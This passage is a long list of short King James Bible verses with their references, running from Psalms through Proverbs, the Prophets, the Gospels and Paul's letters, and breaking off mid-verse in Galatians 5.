[ They that seek the LORD shall not want any good thing ] [Ps.34:10 ] [ The LORD is nigh unto them that are of a broken heart Ps.34:18 [ And my soul shall be joyful in the LORD: it shall rejoice in His salvation. Ps.35:9 [ Trust in the LORD, and do good Ps.37:3 [ Dwell in the land, and verily thou shalt be fed Ps.37:3 [ Delight thyself also in the LORD; and He shall give thee the desires of thine heart Ps.37:4 [ Commit thy way unto the LORD; trust also in Him; and He shall bring it to pass. Ps.37:5 [ Rest in the LORD, and wait patiently for Him Ps.37:7 [ The meek shall inherit the earth; and shall delight themselves in the abundance of peace Ps.37:11 [ Wait on the LORD, and keep His way Ps.37:34 [ The salvation of the righteous is of the LORD: He is their strength in the time of trouble. Ps.37:39 [ Lord, all my desire is before thee Ps.38:9 [ Blessed is that man that maketh the LORD his trust Ps.40:4 [ I delight to do Thy will, O my God Ps.40:8 [ Be still, and know that I am God Ps.46:10 [ O clap your hands, all ye people; shout unto God with the voice of triumph! Ps.47:1 [ The redemption of their soul is precious Ps.49:9 [ Our God shall come, and shall not keep silence Ps.50:3 [ Offer unto God thanksgiving; and pay thy vows unto the Most High Ps.50:14 [ Call upon me in the day of trouble: I will deliver thee Ps.50:15 [ Whoso offereth praise glorifieth Me Ps.50:23 [ The fool hath said in his heart, "There is no God" Ps.53:1 [ Behold, God is mine helper: the Lord is with them that uphold my soul Ps.54:4 [ Cast thy burden upon the LORD, and He shall sustain thee Ps.55:22 [ He shall never suffer the righteous to be moved Ps.55:22 [ Verily there is a reward for the righteous Ps.58:11 [ God is my defence, and the God of my mercy Ps.59:17 [ Truly my soul waiteth upon God: from Him cometh my salvation Ps.62:1 [ God is a refuge for us Ps.62:8 [ God hath spoken once; twice have I heard this; that power belongeth unto God. Ps.62:11 [ The righteous shall be glad in the LORD, and shall trust in Him Ps.64:10 [ Thy God hath commanded thy strength Ps.68:28 [ But it is good for me to draw near to God Ps.73:28 [ Open thy mouth wide, and I will fill it Ps.81:10 [ The LORD God is a sun and shield Ps.84:11 [ The LORD will give grace and glory Ps.84:11 [ The LORD shall give that which is good; and our land shall yield her increase. Ps.85:12 [ For thou, Lord, art good, and ready to forgive; and plenteous in mercy Ps.86:5 [ He that dwelleth in the secret place of the Most High shall abide under the shadow of the Almighty Ps.91:1 [ Thou shalt not be afraid for the terror by night; nor for the arrow that flieth by day Ps.91:5 [ Lest thou dash thy foot against a stone Ps.91:12 [ The righteous shall flourish like the palm tree Ps.92:12 [ The LORD reigneth, He is clothed with majesty Ps.93:1 [ The LORD knoweth the thoughts of man, that they are vanity Ps.94:11 [ The LORD will not cast off His people Ps.94:14 [ Give unto the LORD the glory due unto His name Ps.96:8 [ Worship the LORD in the beauty of holiness Ps.96:9 [ The LORD reigneth: the world also shall be established that it shall not be moved Ps.96:10 [ Light is sown for the righteous, and gladness for the upright in heart Ps.97:11 [ The LORD hath made known His salvation Ps.98:2 [ Serve the LORD with gladness Ps.100:2 [ I will set no wicked thing before mine eyes Ps.101:3 [ They shall perish, but thou shalt endure Ps.102:26 [ Bless the LORD, O my soul, and forget not all His benefits Ps.103:2 [ Forget not all His benefits Ps.103:2 [ Who forgiveth all thine iniquities; who healeth all thy diseases Ps.103:3 [ As the heaven is high above the earth, so great is His mercy Ps.103:11 [ As far as the east is from the west, so far hath He removed our transgressions from us Ps.103:12 [ I will sing unto the LORD as long as I live Ps.104:33 [ Let the heart of them rejoice that seek the LORD! Ps.105:3 [ Seek the LORD, and His strength: seek his face evermore! Ps.105:4 [ O give thanks unto the LORD; for He is good: for His mercy endureth for ever. Ps.106:1 [ He sent his word, and healed them Ps.107:20 [ Through God we shall do valiantly Ps.108:13 [ I will greatly praise the LORD with my mouth Ps.109:30 [ He raiseth up the poor out of the dust, and lifteth the needy out of the dunghill Ps.113:7 [ Ye that fear the LORD, trust in the LORD: He is their help and their shield Ps.115:11 [ He will bless them that fear the LORD Ps.115:13 [ I will take the cup of salvation, and call upon the name of the LORD Ps.116:13 [ His merciful kindness is great toward us Ps.117:2 [ It is better to trust in the LORD than to put confidence in man Ps.118:8 [ The LORD is my strength and song, and is become my salvation Ps.118:14 [ The right hand of the LORD doeth valiantly Ps.118:16 [ This is the day which the LORD hath made; we will rejoice and be glad in it Ps.118:24 [ Thy word is a lamp unto my feet, and a light unto my path Ps.119:105 [ Great peace have they which love thy law Ps.119:165 [ My help cometh from the LORD, which made heaven and earth Ps.121:2 [ He will not suffer thy foot to be moved Ps.121:3 [ The LORD is thy keeper Ps.121:5 [ I was glad when they said unto me, "Let us go into the house of the LORD" Ps.122:1 [ Our soul is escaped as a bird out of the snare of the fowlers Ps.124:7 [ The snare is broken, and we are escaped Ps.124:7 [ Our help is in the name of the LORD Ps.124:8 [ They that trust in the LORD shall be as Mount Zion Ps.125:1 [ They that sow in tears shall reap in joy Ps.126:5 [ Lift up your hands… and bless the LORD Ps.134:2 [ The LORD will perfect that which concerneth me Ps.138:8 [ The LORD upholdeth all that fall Ps.145:14 [ The LORD is righteous in all His ways Ps.145:17 [ The LORD is nigh unto all them that call upon Him Ps.145:18 [ He healeth the broken in heart, and bindeth up their wounds Ps.147:3 [ The LORD lifteth up the meek Ps.147:6 [ Let the children of Zion be joyful in their King Ps.149:2 [ For the LORD taketh pleasure in His people Ps.149:4 [ Let every thing that hath breath praise the LORD Ps.150:6 [ The fear of the LORD is the beginning of knowledge Prov.1:7 [ My son, if sinners entice thee, consent thou not Prov.1:10 [ I will pour out my spirit unto you, I will make known my words unto you Prov.1:23 [ For the LORD giveth wisdom: out of His mouth cometh knowledge and understanding Prov.2:6 [ He layeth up sound wisdom for the righteous Prov.2:7 [ He keepeth the paths of judgment Prov.2:8 [ Walk in the way of good men, and keep the paths of the righteous Prov.2:20 [ He blesseth the habitation of the just Prov.3:33 [ I give you good doctrine, forsake ye not my law Prov.4:2 [ Get wisdom: and with all thy getting get understanding. Prov.4:7 [ I have taught thee in the way of wisdom; I have led thee in right paths. Prov.4:11 [ When thou goest, thy steps shall not be straitened Prov.4:12 [ Take fast hold of instruction Prov.4:13 [ The path of the just is as the shining light Prov.4:18 [ Attend to my words; incline thine ear unto my sayings Prov.4:20 [ My words… are life unto those that find them, and health to all their flesh Prov.4:22 [ Keep thy heart with all diligence Prov.4:23 [ Ponder the path of thy feet, and let all thy ways be established Prov.4:26 [ Drink waters out of thine own cistern, and running waters out of thine own well Prov.5:15 [ For the ways of man are before the eyes of the LORD Prov.5:21 [ For the commandment is a lamp; and the law is light Prov.6:23 [ My son, keep my words Prov.7:1 [ Keep my commandments, and live; and my law as the apple of thine eye Prov.7:2 [ Wisdom is better than rubies Prov.8:11 [ Those that seek me early shall find me Prov.8:17 [ Blessed are they that keep my ways Prov.8:32 [ The LORD will not suffer the soul of the righteous to famish Prov.10:3 [ The hand of the diligent maketh rich Prov.10:4 [ The blessing of the LORD, it maketh rich, and He addeth no sorrow with it Prov.10:22 [ The desire of the righteous shall be granted Prov.10:24 [ The hope of the righteous shall be gladness Prov.10:28 [ By the blessing of the upright the city is exalted Prov.11:11 [ He that watereth shall be watered also himself Prov.11:25 [ He that tilleth his land shall be satisfied with bread Prov.12:11 [ He that keepeth his mouth keepeth his life Prov.13:3 [ The light of the righteous rejoiceth Prov.13:9 [ He that walketh with wise men shall be wise Prov.13:20 [ The wisdom of the prudent is to understand his way Prov.14:8 [ The tabernacle of the upright shall flourish Prov.14:11 [ A true witness delivereth souls Prov.14:25 [ The fear of the LORD is a fountain of life Prov.14:27 [ A sound heart is the life of the flesh Prov.14:30 [ A soft answer turneth away wrath Prov.15:1 [ The eyes of the LORD are in every place Prov.15:3 [ He that refuseth instruction despiseth his own soul Prov.15:32 [ The fear of the LORD is the instruction of wisdom Prov.15:33 [ Before honour is humility Prov.15:33 [ Commit thy works unto the LORD, and thy thoughts shall be established Prov.16:3 [ He that ruleth his spirit than he that taketh a city Prov.16:32 [ The furnace for gold: but the LORD trieth the hearts Prov.17:3 [ A merry heart doeth good like a medicine Prov.17:22 [ A broken spirit drieth the bones Prov.17:22 [ He that hath knowledge spareth his words Prov.17:27 [ The name of the LORD is a strong tower Prov.18:10 [ Death and life are in the power of the tongue Prov.18:21 [ A man that hath friends must shew himself friendly Prov.18:24 [ The discretion of a man deferreth his anger Prov.19:11 [ He that keepeth the commandment keepeth his own soul Prov.19:16 [ He that hath pity upon the poor lendeth unto the LORD Prov.19:17 [ It is an honour for a man to cease from strife Prov.20:3 [ Wait on the LORD, and he shall save thee Prov.20:22 [ The LORD pondereth the hearts Prov.21:2 [ A good name is rather to be chosen than great riches Prov.22:1 [ He that hath a bountiful eye shall be blessed Prov.22:9 [ Drowsiness shall clothe a man with rags Prov.23:21 [ Through wisdom is an house builded; and by understanding it is established Prov.24:3 [ By wise counsel thou shalt make thy war Prov.24:6 [ In multitude of counsellors there is safety Prov.24:6 [ For a just man falleth seven times, and riseth up again Prov.24:16 [ A soft tongue breaketh the bone Prov.25:15 [ The righteous are bold as a lion Prov.28:1 [ When righteous men do rejoice, there is great glory Prov.28:12 [ He that tilleth his land shall have plenty of bread Prov.28:19 [ The righteous considereth the cause of the poor Prov.29:7 [ Honour shall uphold the humble in spirit Prov.29:23 [ To every thing there is a season, and a time to every purpose under the heaven Eccl.3:1 [ A time to cast away stones, and a time to gather stones together Eccl.3:5 [ A time to keep silence, and a time to speak Eccl.3:7 [ Whatsoever God doeth, it shall be for ever Eccl.3:14 [ A threefold cord is not quickly broken Eccl.4:12 [ Keep thy foot when thou goest to the house of God, and be more ready to hear Eccl.5:1 [ Seeing there be many things that increase vanity Eccl.6:11 [ Anger resteth in the bosom of fools Eccl.7:9 [ God hath made man upright; but they have sought out many inventions Eccl.7:29 [ A man's wisdom maketh his face to shine Eccl.8:1 [ A wise man's heart discerneth both time and judgment Eccl.8:5 [ It shall be well with them that fear God Eccl.8:12 [ Let thy head lack no ointment Eccl.9:8 [ Whatsoever thy hand findeth to do, do it with thy might Eccl.9:10 [ Wisdom is better than weapons of war Eccl.9:18 [ He that diggeth a pit shall fall into it Eccl.10:8 [ Whoso breaketh an hedge, a serpent shall bite him Eccl.10:8 [ Cast thy bread upon the waters Eccl.11:1 [ He that observeth the wind shall not sow Eccl.11:4 [ Remember now thy Creator in the days of thy youth Eccl.12:1 [ Vanity of vanities, saith the Preacher; all is vanity Eccl.12:8 [ Fear God, and keep his commandments: for this is the whole duty of man Eccl.12:13 [ Take us the foxes, the little foxes, that spoil the vines Song 2:15 [ Many waters cannot quench love Song 8:7 [ Learn to do well Is.1:17 [ Though your sins be as scarlet, they shall be as white as snow Is.1:18 [ He will teach us of his ways, and we will walk in His paths Is.2:3 [ Whom shall I send, and who will go for Us? Is.6:8 [ Then said I, Here am I; send me. Is.6:8 [ The LORD JEHOVAH is my strength and my song Is.12:2 [ In the LORD JEHOVAH is everlasting strength Is.26:4 [ My people shall dwell in a peaceable habitation Is.32:18 [ In the wilderness shall waters break out, and streams in the desert Is.35:6 [ He shall feed his flock like a shepherd Is.40:11 [ He giveth power to the faint; and to them that have no might He increaseth strength Is.40:29 [ They that wait upon the LORD shall renew their strength Is.40:31 [ They shall run, and not be weary; and they shall walk, and not faint Is.40:31 [ I the LORD thy God will hold thy right hand Is.41:13 [ Fear not; I will help thee Is.41:13 [ I will make the wilderness a pool of water Is.41:18 [ I will make darkness light before them Is.42:16 [ I will even make a way in the wilderness, and rivers in the desert Is.43:19 [ I, even I, am he that blotteth out thy transgressions Is.43:25 [ Return unto Me; for I have redeemed thee Is.44:22 [ The word is gone out of my mouth in righteousness, and shall not return Is.45:23 [ I am the LORD thy God which teacheth thee to profit Is.48:17 [ I have put my words in thy mouth Is.51:16 [ I have covered thee in the shadow of Mine hand Is.51:16 [ He is despised and rejected of men; a Man of sorrows, and acquainted with grief Is.53:3 [ Surely he hath borne our griefs, and carried our sorrows Is.53:4 [ He was wounded for our transgressions, He was bruised for our iniquities Is.53:5 [ The chastisement of our peace was upon Him Is.53:5 [ With his stripes we are healed Is.53:5 [ The LORD hath laid on him the iniquity of us all Is.53:6 [ He shall see of the travail of His soul, and shall be satisfied Is.53:11 [ He bare the sin of many, and made intercession for the transgressors Is.53:12 [ Enlarge the place of thy tent Is.54:2 [ My kindness shall not depart from thee Is.54:10 [ No weapon that is formed against thee shall prosper Is.54:17 [ Thou shalt be like a watered garden Is.58:11 [ The LORD shall be thine everlasting light Is.60:20 [ I all their affliction he was afflicted Is.63:9 [ Ask for the old paths, where is the good way, and walk therein Jer.6:16 [ I am with thee to save thee and to deliver thee Jer.15:20 [ I the LORD search the heart, I try the reins Jer.17:10 [ Ye shall seek Me, and find Me, when ye shall search for Me with all your heart Jer.29:13 [ I will forgive their iniquity, and their sin I will remember no more Jer.31:34 [ I am the LORD, the God of all flesh: is there any thing too hard for Me? Jer.32:27 [ I will rejoice over them to do them good Jer.32:41 [ Call unto Me, and I will answer thee Jer.33:3 [ I will shew thee great and mighty things, which thou knowest not Jer.33:3 [ Obey, I beseech thee, the voice of the LORD Jer.38:20 [ Come, and let us join ourselves to the LORD Jer.50:5 [ The LORD is good unto them that wait for him Lam.3:25 [ Let us search and try our ways, and turn again to the LORD Lam.3:40 [ Let us lift up our heart with our hands unto God in the heavens Lam.3:41 [ Cast away from you all your transgressions, whereby ye have transgressed Ezek.18:31 [ I will accept you with your sweet savour Ezek.20:41 [ I will cause the shower to come down in his season Ezek.34:26 [ There shall be showers of blessing Ezek.34:26 [ A new heart also will I give you, and a new spirit will I put within you Ezek.36:26 [ Our God whom we serve is able to deliver us Dan.3:17 [ For I desired mercy, and not sacrifice Hos.6:6 [ Turn ye even to me with all your heart Joel 2:12 [ Be glad and rejoice in the LORD your God Joel 2:23 [ I will pour out My Spirit upon all flesh Joel 2:28 [ Whosoever shall call on the name of the LORD shall be delivered Joel 2:32 [ The LORD will be the hope of his people Joel 3:16 [ Seek ye me, and ye shall live Amos 5:4 [ The day of the LORD is near upon all the heathen Obad.1:15 [ Salvation is of the LORD Jon.2:9 [ We will walk in the name of the LORD our God Mic.4:5 [ I will wait for the God of my salvation Mic.7:7 [ The LORD knoweth them that trust in him Nah.1:7 [ The just shall live by his faith Hab.2:4 [ O LORD, revive thy work in the midst of the years Hab.3:2 [ The LORD thy God in the midst of thee is mighty; He will save Zeph.3:17 [ Thus saith the LORD of hosts; Consider your ways. Hag.1:7 [ Be strong… for I am with you, saith the LORD Hag.2:4 [ My spirit remaineth among you: fear ye not! Hag.2:5 [ Fear not, but let your hands be strong Zech.8:13 [ For I am the LORD, I change not Mal.3:6 [ Bring ye all the tithes into the storehouse Mal.3:10 [ And all nations shall call you blessed Mal.3:12 [ Unto you that fear My name shall the Sun of Righteousness arise Mal.4:2 [ Prepare ye the way of the Lord, make His paths straight Matt.3:3 [ Therefore fruits meet for repentance Matt.3:8 [ He shall baptize you with the Holy Ghost, and with fire Matt.3:11 [ He will throughly purge His floor, and gather His wheat into the garner Matt.3:12 [ Man shall not live by bread alone Matt.4:4 [ Thou shalt worship the LORD thy God Matt.4:10 [ Repent: for the kingdom of heaven is at hand Matt.4:17 [ Follow Me, and I will make you fishers of men Matt.4:19 [ Blessed are the poor in spirit: for theirs is the kingdom of heaven Matt.5:3 [ Blessed are they that mourn: for they shall be comforted Matt.5:4 [ Blessed are the meek: for they shall inherit the earth Matt.5:5 [ Blessed are the merciful: for they shall obtain mercy Matt.5:7 [ Blessed are the pure in heart: for they shall see God. Matt.5:8 [ Blessed are the peacemakers: for they shall be called the children of God Matt.5:9 [ Ye are the light of the world. A city that is set on an hill cannot be hid. Matt.5:14 [ Let your light so shine before men Matt.5:16 [ Be ye therefore perfect, even as your Father which is in heaven is perfect. Matt.5:48 [ Your Father knoweth what things ye have need of Matt.6:8 [ But lay up for yourselves treasures in heaven Matt.6:20 [ For where your treasure is, there will your heart be also Matt.6:21 [ But seek ye first the kingdom of God, and his righteousness Matt.6:33 [ Ask, and it shall be given you Matt.7:7 [ Seek, and ye shall find Matt.7:7 [ Knock, and it shall be opened unto you Matt.7:7 [ Your Father which is in heaven give good things to them that ask him Matt.7:11 [ Narrow is the way, which leadeth unto life Matt.7:14 [ Be of good cheer; thy sins be forgiven thee Matt.9:2 [ Believe ye that I am able to do this? Matt.9:28 [ The harvest truly is plenteous, but the labourers are few Matt.9:37 [ Freely ye have received, freely give Matt.10:8 [ Be ye therefore wise as serpents, and harmless as doves Matt.10:16 [ What ye hear in the ear, that preach ye upon the housetops Matt.10:27 [ Come unto Me, all ye that labour and are heavy laden, and I will give you rest Matt.11:28 [ Learn of me; for I am meek and lowly in heart Matt.11:29 [ My yoke is easy, and My burden is light Matt.11:30 [ A bruised reed shall He not break Matt.12:20 [ He that gathereth not with Me scattereth abroad Matt.12:30 [ Then shall the righteous shine forth as the sun in the kingdom of their Father Matt.13:43 [ The kingdom of heaven is like unto treasure hid in a field Matt.13:44 [ I will build My church; and the gates of hell shall not prevail against it Matt.16:18 [ Many that are first shall be last; and the last shall be first Matt.19:30 [ He that shall endure unto the end, the same shall be saved Matt.24:13 [ And this gospel of the kingdom shall be preached in all the world Matt.24:14 [ Heaven and earth shall pass away, but My words shall not pass away Matt.24:35 [ Who then is a faithful and wise servant Matt.24:45 [ Watch and pray, that ye enter not into temptation Matt.26:41 [ The spirit indeed is willing, but the flesh is weak Matt.26:41 [ Go ye therefore, and teach all nations Matt.28:19 [ And, lo, I am with you alway, even unto the end of the world Matt.28:20 [ And in the morning, rising up a great while before day… prayed Mark 1:35 [ And as many as touched Him were made whole Mark 6:56 [ What would ye that I should do for you? Mark 10:36 [ Repent ye, and believe the gospel Mark 11:15 [ Go ye into all the world, and preach the gospel to every creature Mark 16:15 [ Blessed are ye that weep now: for ye shall laugh Luke 6:21 [ Take up his cross daily, and follow me Luke 9:23 [ In the beginning was the Word, and the Word was with God, and the Word was God John 1:1 [ And the light shineth in darkness; and the darkness comprehended it not. John 1:5 [ But as many as received him, to them gave he power to become the sons of God John 1:12 [ And the Word was made flesh, and dwelt among us John 1:14 [ Make straight the way of the LORD John 1:23 [ Hereafter ye shall see heaven open John 1:51 [ Except a man be born again, he cannot see the kingdom of God John 3:3 [ That which is born of the Spirit is spirit John 3:6 [ The wind bloweth where it listeth, and thou hearest the sound thereof John 3:8 [ For God so loved the world, that he gave his only begotten Son John 3:16 [ He that doeth truth cometh to the light John 3:21 [ He that believeth on the Son hath everlasting life John 3:36 [ The true worshippers shall worship the Father in spirit and in truth John 4:23 [ God is a Spirit: and they that worship Him must worship him in spirit and in truth John 4:24 [ Jesus saith unto them, My meat is to do the will of Him that sent Me, and to finish His work. John 4:34 [ He that reapeth receiveth wages, and gathereth fruit unto life eternal John 4:36 [ He that soweth and he that reapeth may rejoice together John 4:36 [ Behold, thou art made whole: sin no more John 5:14 [ Search the Scriptures; for in them ye think ye have eternal life John 5:39 [ Labour not for the meat which perisheth, but for that meat which endureth unto everlasting life John 6:27 [ This is the work of God, that ye believe on Him whom He hath sent John 6:29 [ For the bread of God is He which cometh down from heaven, and giveth life unto the world John 6:33 [ He that believeth on Me shall never thirst John 6:35 [ He that cometh to me shall never hunger John 6:35 [ Him that cometh to Me I will in no wise cast out John 6:37 [ He that believeth on Me hath everlasting life John 6:47 [ It is the spirit that quickeneth; the flesh profiteth nothing John 6:63 [ The words that I speak unto you, they are spirit, and they are life John 6:63 [ If any man thirst, let him come unto me, and drink John 7:37 [ He that believeth on Me… out of his belly shall flow rivers of living water John 7:38 [ He that followeth Me shall not walk in darkness John 8:12 [ If ye continue in My word, then are ye My disciples indeed John 8:31 [ And ye shall know the truth, and the truth shall make you free John 8:32 [ Whosoever committeth sin is the servant of sin John 8:34 [ He that is of God heareth God's words John 8:47 [ If a man keep My saying, he shall never see death John 8:51 [ I am the door: by Me if any man enter in, he shall be saved. John 10:9 [ I am come that they might have life, and that they might have it more abundantly John 10:10 [ I am the good shepherd: the good shepherd giveth His life for the sheep John 10:11 [ I am the good shepherd, and know My sheep, and am known of Mine John 10:14 [ My sheep hear My voice, and I know them, and they follow Me. John 10:27 [ Neither shall any man pluck them out of My hand John 10:28 [ I am the resurrection, and the life John 11:25 [ If thou wouldest believe, thou shouldest see the glory of God John 11:40 [ If any man serve Me, him will My Father honour John 12:26 [ If any man serve me, let him follow Me John 12:26 [ While ye have light, believe in the light, that ye may be the children of light John 12:36 [ A new commandment I give unto you, that ye love one another John 13:34 [ By this shall all men know that ye are My disciples, if ye have love one to another John 13:35 [ Let not your heart be troubled: ye believe in God, believe also in Me. John 14:1 [ I will come again, and receive you unto Myself John 14:3 [ I am the way, the truth, and the life John 14:6 [ He that believeth on Me, the works that I do shall he do also John 14:12 [ And whatsoever ye shall ask in My name, that will I do John 14:13 [ If ye love Me, keep My commandments John 14:15 [ The Comforter, which is the Holy Ghost… He shall teach you all things John 14:26 [ Let not your heart be troubled, neither let it be afraid John 14:27 [ Abide in Me, and I in you John 15:4 [ He that abideth in Me, and I in him, the same bringeth forth much fruit John 15:5 [ Herein is My Father glorified, that ye bear much fruit John 15:8 [ I loved you: continue ye in My love John 15:9 [ That My joy might remain in you, and that your joy might be full. John 15:11 [ This is My commandment, that ye love one another, as I have loved you John 15:12 [ Ye are My friends, if ye do whatsoever I command you. John 15:14 [ Ye have not chosen Me, but I have chosen you John 15:16 [ I have chosen you, and ordained you, that ye should go and bring forth fruit John 15:16 [ Ask, and ye shall receive, that your joy may be full John 16:24 [ Be of good cheer; I have overcome the world John 16:33 [ As my Father hath sent Me, even so send I you John 20:21 [ Blessed are they that have not seen, and yet have believed John 20:29 [ Lord,… grant unto Thy servants, that with all boldness they may speak Thy word Acts 4:29 [ The will of the Lord be done Acts 21:14 [ I am not ashamed of the gospel of Christ Rom.1:16 [ The just shall live by faith Rom.1:17 [ The goodness of God leadeth thee to repentance Rom.2:4 [ All have sinned, and come short of the glory of God Rom.3:23 [ Blessed are they whose iniquities are forgiven Rom.4:7 [ Being justified by faith, we have peace with God Rom.5:1 [ The love of God is shed abroad in our hearts by the Holy Ghost Rom.5:5 [ While we were yet sinners, Christ died for us Rom.5:8 [ Being now justified by His blood, we shall be saved from wrath through Him Rom.5:9 [ When we were enemies, we were reconciled to God by the death of His Son Rom.5:10 [ Where sin abounded, grace did much more abound Rom.5:20 [ Yield yourselves unto God, as those that are alive from the dead Rom.6:13 [ The gift of God is eternal life through Jesus Christ our Lord Rom.6:23 [ We should bring forth fruit unto God Rom.7:4 [ We are debtors, not to the flesh, to live after the flesh Rom.8:12 [ For as many as are led by the Spirit of God, they are the sons of God. Rom.8:14 [ Likewise the Spirit also helpeth our infirmities. Rom.8:26 [ All things work together for good to them that love God Rom.8:28 [ If God be for us, who can be against us? Rom.8:31 [ Who shall lay any thing to the charge of God's elect? It is God that justifieth. Rom.8:33 [ Nay, in all these things we are more than conquerors through him that loved us. Rom.8:37 [ Nor height, nor depth, nor any other creature, shall be able to separate us from the love of God Rom.8:39 [ O man, who art thou that repliest against God? Rom.9:20 [ Whosoever believeth on him shall not be ashamed Rom.9:33 [ The word is nigh thee, even in thy mouth, and in thy heart Rom.10:8 [ With the mouth confession is made unto salvation Rom.10:10 [ The same Lord over all is rich unto all that call upon Him. Rom.10:12 [ How beautiful are the feet of them that preach the gospel of peace Rom.10:15 [ Faith cometh by hearing, and hearing by the word of God Rom.10:17 [ The gifts and calling of God are without repentance Rom.11:29 [ O the depth of the riches both of the wisdom and knowledge of God! Rom.11:33 [ And be not conformed to this world Rom.12:2 [ Transformed by the renewing of your mind Rom.12:2 [ That ye may prove what is that good, and acceptable, and perfect, will of God Rom.12:2 [ Let love be without dissimulation Rom.12:9 [ Be kindly affectioned one to another with brotherly love Rom.12:10 [ Fervent in spirit; serving the Lord Rom.12:11 [ Rejoicing in hope; patient in tribulation; continuing instant in prayer Rom.12:12 [ Rejoice with them that do rejoice, and weep with them that weep Rom.12:15 [ Recompense to no man evil for evil Rom.12:17 [ Live peaceably with all men Rom.12:18 [ Be not overcome of evil, but overcome evil with good Rom.12:21 [ Owe no man any thing, but to love one another Rom.13:8 [ Now it is high time to awake out of sleep Rom.13:11 [ Now is our salvation nearer than when we believed Rom.13:11 [ Let us put on the armour of light Rom.13:12 [ Put ye on the Lord Jesus Christ Rom.13:14 [ So then every one of us shall give account of himself to God Rom.14:12 [ The kingdom of God is… righteousness, and peace, and joy in the Holy Ghost. Rom.14:17 [ Happy is he that condemneth not himself in that thing which he alloweth Rom.14:22 [ Christ… received us to the glory of God Rom.15:7 [ Now the God of hope fill you with all joy and peace in believing Rom.15:13 [ The God of peace shall bruise Satan under your feet shortly Rom.16:20 [ For the preaching of the cross is… the power of God 1Cor.1:18 [ We preach Christ crucified 1Cor.1:23 [ God hath chosen the weak things of the world to confound the things which are mighty 1Cor.1:27 [ But God hath chosen the foolish things of the world to confound the wise 1Cor.1:27 [ We have received, not the spirit of the world, but the spirit which is of God 1Cor.2:12 [ Every man shall receive his own reward according to his own labour 1Cor.3:8 [ We are labourers together with God 1Cor.3:9 [ Know ye not that ye are the temple of God? 1Cor.3:16 [ The temple of God is holy, which temple ye are 1Cor.3:17 [ Ye are Christ's; and Christ is God's 1Cor.3:23 [ We are fools for Christ's sake 1Cor.4:10 [ The kingdom of God is not in word, but in power 1Cor.4:20 [ For even Christ our passover is sacrificed for us 1Cor.5:7 [ He that is joined unto the Lord is one spirit 1Cor.6:17 [ Ye are bought with a price 1Cor.6:20 [ Glorify God in your body, and in your spirit, which are God's 1Cor.6:20 [ For the fashion of this world passeth away 1Cor.7:31 [ Knowledge puffeth up, but charity edifieth 1Cor.8:1 [ If any man love God, the same is known of Him 1Cor.8:3 [ So run, that ye may obtain 1Cor.9:24 [ Let him that thinketh he standeth take heed lest he fall 1Cor.10:12 [ God is faithful, who will not suffer you to be tempted above that ye are able 1Cor.10:13 [ Do all to the glory of God 1Cor.10:31 [ The manifestation of the Spirit is given to every man 1Cor.12:7 [ Covet earnestly the best gifts 1Cor.12:31 [ Charity suffereth long, and is kind 1Cor.13:4 [ Charity vaunteth not itself, is not puffed up 1Cor.13:4 [ Charity never faileth 1Cor.13:8 [ And now abideth faith, hope, charity, these three 1Cor.13:13 [ Follow after charity, and desire spiritual gifts 1Cor.14:1 [ Christ died for our sins according to the Scriptures 1Cor.15:3 [ But now is Christ risen from the dead 1Cor.15:20 [ Evil communications corrupt good manners 1Cor.15:33 [ Thanks be to God, which giveth us the victory 1Cor.15:57 [ Be ye stedfast, unmoveable 1Cor.15:58 [ Always abounding in the work of the Lord 1Cor.15:58 [ Your labour is not in vain in the Lord 1Cor.15:58 [ Watch ye, stand fast in the faith, quit you like men, be strong 1Cor.16:13 [ Let all your things be done with charity 1Cor.16:14 [ All the promises of God in Him are yea, and in Him Amen 2Cor.1:20 [ He which stablisheth us with you in Christ, and hath anointed us, is God 2Cor.1:21 [ Thanks be unto God, which always causeth us to triumph in Christ 2Cor.2:14 [ We are unto God a sweet savour of Christ 2Cor.2:15 [ Ye are… the epistle of Christ 2Cor.3:3 [ Our sufficiency is of God 2Cor.3:5 [ Where the Spirit of the Lord is, there is liberty 2Cor.3:17 [ God, who commanded the light to shine out of darkness, hath shined in our hearts 2Cor.4:6 [ We have this treasure in earthen vessels 2Cor.4:7 [ We are troubled on every side, yet not distressed 2Cor.4:8 [ We are perplexed, but not in despair 2Cor.4:8 [ Our light affliction… worketh for us a far more exceeding and eternal weight of glory 2Cor.4:17 [ The things which are seen are temporal; but the things which are not seen are eternal 2Cor.4:18 [ We have a building of God… in the heavens 2Cor.5:1 [ We walk by faith, not by sight 2Cor.5:7 [ If any man be in Christ, he is a new creature 2Cor.5:17 [ Old things are passed away; behold, all things are become new 2Cor.5:17 [ Be ye reconciled to God 2Cor.5:20 [ He hath made him to be sin for us, who knew no sin 2Cor.5:21 [ Behold, now is the accepted time; behold, now is the day of salvation 2Cor.6:2 [ As sorrowful, yet alway rejoicing 2Cor.6:10 [ Touch not the unclean thing; and I will receive you 2Cor.6:17 [ And will be a Father unto you, and ye shall be my sons and daughters 2Cor.6:18 [ Having therefore these promises, dearly beloved, let us cleanse ourselves 2Cor.7:1 [ For godly sorrow worketh repentance to salvation 2Cor.7:10 [ Yet for your sakes He became poor, that ye through His poverty might be rich 2Cor.8:9 [ Providing for honest things, not only in the sight of the Lord, but also in the sight of men 2Cor.8:21 [ He which soweth sparingly shall reap also sparingly 2Cor.9:6 [ God loveth a cheerful giver 2Cor.9:7 [ God is able to make all grace abound toward you 2Cor.9:8 [ That ye… may abound to every good work 2Cor.9:8 [ He that ministereth seed to the sower… multiply your seed sown 2Cor.9:10 [ Thanks be unto God for his unspeakable gift 2Cor.9:15 [ For though we walk in the flesh, we do not war after the flesh. 2Cor.10:3 [ The weapons of our warfare are not carnal 2Cor.10:4 [ Bringing into captivity every thought to the obedience of Christ 2Cor.10:5 [ But he that glorieth, let him glory in the LORD 2Cor.10:17 [ My strength is made perfect in weakness 2Cor.12:9 [ Be perfect, be of good comfort, be of one mind, live in peace. 2Cor.13:11 [ Be of one mind, live in peace 2Cor.13:11 [ Who gave Himself for our sins Gal.1:4 [ God accepteth no man's person Gal.2:6 [ We have believed in Jesus Christ, that we might be justified by the faith of Christ Gal.2:16 [ Nevertheless I live; yet not I, but Christ liveth in me Gal.2:20 [ They which are of faith, the same are the children of Abraham Gal.3:7 [ Christ hath redeemed us from the curse of the law Gal.3:13 [ If ye be Christ's, then are ye Abraham's seed, and heirs according to the promise Gal.3:29 [ God hath sent forth the Spirit of his Son into your hearts Gal.4:6 [ Wherefore thou art no more a servant, but a son; and if a son, then an heir of God Gal.4:7 [ Stand fast therefore in the liberty wherewith Christ hath made us free Gal.5:1 [ By love serve one another Gal.5:13 [ Thou shalt love thy neighbour as thyself Gal.5:14 [ Walk in the Spirit Gal.5:16 [ The fruit of the Spirit is 